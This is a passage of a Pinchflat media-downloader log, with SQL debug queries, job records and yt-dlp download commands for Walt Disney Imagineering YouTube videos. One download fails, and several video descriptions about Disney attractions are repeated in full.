Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals", "CXLICqOYoh0", "https://www.youtube.com/watch?v=CXLICqOYoh0", 1714, false, "/downloads/Walt Disney Imagineering/2025-10-19 We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals/We Call It Imagineering | Haunted Mansion, Phantom Manor & Mystic Manor | Foolish Mortals [CXLICqOYoh0].mp4", false, 2, ~U[2025-10-19 18:00:08Z]] 18:57:21.185 [debug] QUERY OK source="sources" db=0.2ms idle=6.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:21.186 [debug] QUERY OK source="media_items" db=0.6ms idle=4.7ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-10-06 20:08:27Z], 2] 18:57:22.005 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=xX48Eo_uC9c --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Walt Disney Imagineering/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/43/03/4303df5aff89acb05b62dc8068faa973ddd880d9cbe42ea1e760962a045e81da.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: The downloaded file is empty 18:57:22.005 [error] yt-dlp download error for media item #12518: "ERROR: The downloaded file is empty\n" 18:57:22.521 [debug] QUERY OK source="media_items" db=1334.6ms idle=4.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "27f284f7-2897-42e2-80ef-9d7573578555", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", false, 482, false, 18, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].mp4", false, false, 2, [], 98, ~U[2025-10-06 20:08:27Z], ~U[2026-03-31 22:57:21Z], ~U[2026-03-31 22:57:21Z], "The Broadway-style stage shows on Disney Cruise Line are a highlight for many, but they just don't happen overnight. Like any show, the performers rehearse over and over and we're taking you into the Disney Cruise Line entertainment rehearsal facility in Toronto for the FIRST TIME EVER!\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n💬 Drop a ✨ in the comments if you made it this far!", "Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility", "bFK8MrHLe1Y", "https://www.youtube.com/watch?v=bFK8MrHLe1Y", 482, false, "/downloads/Walt Disney Imagineering/2025-10-06 Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility/Behind-the-Scenes Tour of the Disney Cruise Line Entertainment Rehearsal Facility [bFK8MrHLe1Y].mp4", false, 2, ~U[2025-10-06 20:08:27Z]] 18:57:22.522 [debug] QUERY OK source="sources" db=0.7ms idle=0.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:22.523 [debug] QUERY OK source="media_items" db=0.5ms idle=1.6ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-29 19:06:07Z], 2] 18:57:22.645 [debug] QUERY OK source="media_items" db=123.9ms idle=0.2ms UPDATE "media_items" SET "last_error" = ?, "updated_at" = ? WHERE "id" = ? ["ERROR: The downloaded file is empty\n", ~U[2026-03-31 22:57:22Z], 12518] 18:57:22.646 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":12518},"id":1734,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":50347251,"event":"job:exception","queue_time":297527,"attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:57:22.652 [info] {"args":{"id":11511},"id":1736,"meta":{},"system_time":1774997842652337431,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_item","media_fetching","show_in_dashboard"]} 18:57:22.652 [debug] QUERY OK source="media_items" db=0.2ms idle=129.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [11511] 18:57:22.653 [info] User scripts lifecyle file either not present or is empty. Skipping. 18:57:22.653 [debug] QUERY OK source="sources" db=0.4ms idle=7.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:22.654 [debug] QUERY OK source="media_profiles" db=0.4ms idle=7.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:22.654 [debug] QUERY OK source="media_items" db=130.9ms idle=2.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 *Step Inside Imagineering*\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "626fc02b-58da-4b60-8bf5-89d15a5d8116", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", false, 363, false, 19, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].mp4", false, false, 2, [], 98, ~U[2025-09-29 19:06:07Z], ~U[2026-03-31 22:57:22Z], ~U[2026-03-31 22:57:22Z], "Todd is one of our Concept Design artists at Walt Disney Imagineering and he's showing off how to sketch, ink, and watercolor paint a pirate in a style reminiscent of the classic Marc Davis concept art for Pirates of the Caribbean.\n\n🤖 *Step Inside Imagineering*\nEver wondered where your favorite Disney theme park experiences are being conceptualized, designed, and brought to life? It happens at Walt Disney Imagineering and we invite you to peek behind the curtain and meet our magic makers.\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Drawing & Watercolor Painting with a Disney Imagineer", "qtQIUvTH738", "https://www.youtube.com/watch?v=qtQIUvTH738", 363, false, "/downloads/Walt Disney Imagineering/2025-09-29 Drawing & Watercolor Painting with a Disney Imagineer/Drawing & Watercolor Painting with a Disney Imagineer [qtQIUvTH738].mp4", false, 2, ~U[2025-09-29 19:06:07Z]] 18:57:22.655 [debug] QUERY OK source="media_items" db=0.6ms idle=2.2ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [11511] 18:57:22.655 [debug] QUERY OK source="sources" db=0.3ms idle=2.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:22.656 [debug] QUERY OK source="media_metadata" db=0.1ms idle=1.5ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [11511] 18:57:22.656 [debug] QUERY OK source="media_items" db=0.6ms idle=1.8ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-22 22:01:48Z], 2] 18:57:22.656 [debug] QUERY OK source="media_profiles" db=0.4ms idle=1.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 18:57:22.657 [debug] QUERY OK source="settings" db=0.1ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.657 [debug] QUERY OK source="settings" db=0.2ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.657 [debug] Running yt-dlp command for action: get_downloadable_status 18:57:22.658 [debug] QUERY OK source="settings" db=0.2ms idle=1.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.658 [debug] QUERY OK source="settings" db=0.0ms idle=1.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.658 [debug] QUERY OK source="settings" db=0.1ms idle=1.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 18:57:22.658 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=D2bWh5wTlZ0 --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/75/fc/75fc60d4d3f958956635e7fc6597a789e456e79abcd3a8729416d7d70a9d8091.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 18:57:22.658 [debug] QUERY OK source="media_items" db=1.9ms idle=1.3ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ *What to expect*\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "4ba1f778-ad6b-4bbc-b002-06bb8818611e", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", false, 131, false, 20, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].mp4", false, false, 2, [], 98, ~U[2025-09-22 22:01:48Z], ~U[2026-03-31 22:57:22Z], ~U[2026-03-31 22:57:22Z], "🎉 Hong Kong Disneyland celebrates its 20th Anniversary in spectacular style! Discover how Imagineers transformed Main Street, U.S.A. with breathtaking projections for the nighttime spectacular Momentous: Party in the Night Sky—featuring new stories, animated clips, and an incredible drone display lighting up the skies.\n\n✅ *What to expect*\n• Stunning projection mapping across the entire length of Main Street, U.S.A.\n• Exclusive look at the creative process behind Disney’s nighttime spectaculars\n• How drones and animation bring Disney storytelling to life\n\n🎥 *Watch the Magic Unfold*\nJoin us for Great Moments in Imagineering & Disney Live Entertainment, a behind-the-scenes series that celebrates the creativity, innovation, and storytelling that define Walt Disney Imagineering. Discover the magic that brings Disney parks, resorts, attractions, and cruise ships to life!\n\n🔍 *Explore More Episodes*\n⚡ Meet the Titans from the Disney Destiny Hercules Show → https://youtu.be/YEOyMN0RSpc\n🌸 30 Years of EPCOT International Flower & Garden Festival Innovation → https://youtu.be/W9o9-nWVq2w\n👻 The Ichabod Crane Storytelling Window → https://youtu.be/k-xBwtP0x-k\n\n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\nDrop a ✨ in the comments if you made it this far!", "Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering", "2h_2wZM2YeA", "https://www.youtube.com/watch?v=2h_2wZM2YeA", 131, false, "/downloads/Walt Disney Imagineering/2025-09-22 Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering/Hong Kong Disneyland 20th Anniversary New Projections | Great Moments in Imagineering [2h_2wZM2YeA].mp4", false, 2, ~U[2025-09-22 22:01:48Z]] 18:57:22.659 [debug] QUERY OK source="sources" db=0.1ms idle=1.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 18:57:22.659 [debug] QUERY OK source="media_items" db=0.4ms idle=1.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2025-09-15 16:01:04Z], 2] 18:57:22.661 [debug] QUERY OK source="media_items" db=1.4ms idle=1.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","original_url","prevent_download","duration_seconds","livestream","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "original_url" = ?, "duration_seconds" = ?, "livestream" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog →\nhttps://disneyparksblog.com/disney-experiences/imagineer-that-returns-with-tom-morrow-2-0/\n \n🎥 *About the Series*\nImagineer That! is back! Follow Tom Morrow 2.0, a zany mini-animatronic with insider access to Walt Disney Imagineering, as he answers your biggest questions and reveals the magic behind Disney attractions.\n\n🔍 *Explore More Episodes*\n🎥 How do Disney Imagineers think up new rides? → https://youtu.be/0gal-ucgFKU\n \n*Follow Walt Disney Imagineering*\n📸 Instagram → https://www.instagram.com/waltdisneyimagineering/\n💼 LinkedIn → https://www.linkedin.com/company/walt-disney-imagineering/\n🔔 Don’t forget to subscribe and turn on notifications for more Imagineering stories! → https://www.youtube.com/channel/UC4DavIB24rEr5waVY5AgZLg\n\n*Follow Disney Live Entertainment*\n📸 Instagram → https://www.instagram.com/disneyliveentertainment\n💼 LinkedIn → https://www.linkedin.com/company/disney-live-entertainment/\n\n🌐 *Learn More About WDI*\nWalt Disney Imagineering is the creative powerhouse behind the magic of Disney’s global destinations. From concept to creation, our Imagineers blend storytelling, art, science, and technology to craft unforgettable experiences for families around the world. Find out more → https://sites.disney.com/waltdisneyimagineering/\n\n 💬 Drop a 🏔️ in the comments if you think Disney mountains rock!\n\n#waltdisneyimagineering #imagineerthat #disneymountains", "How do Disney Imagineers make mountains? | Imagineer That!", "3a20c7f5-8722-41be-89f1-d45554b24929", "YLZlSxFU1rE", "https://www.youtube.com/watch?v=YLZlSxFU1rE", false, 188, false, 21, "/downloads/Walt Disney Imagineering/2025-09-15 How do Disney Imagineers make mountains? | Imagineer That!/How do Disney Imagineers make mountains? | Imagineer That! [YLZlSxFU1rE].mp4", false, false, 2, [], 98, ~U[2025-09-15 16:01:04Z], ~U[2026-03-31 22:57:22Z], ~U[2026-03-31 22:57:22Z], "🏔 How do Disney Imagineers make mountains? In this episode of Imagineer That!, Tom Morrow 2.0 answers a question from Michelle Khare—asked 25 years ago!—and uncovers the secrets behind Disney’s incredible rockwork and mountain-building techniques. If you’ve ever wondered how Disney creates iconic mountains like Big Thunder or Expedition Everest, this episode reveals the creativity and engineering that make it possible.\n\n✅ What you’ll learn:\n• How Imagineers design and build mountains inside Disney parks\n• The art and science behind realistic rockwork\n• Insider tips on creating immersive landscapes\n\n 📖 Read more on Disney Parks Blog 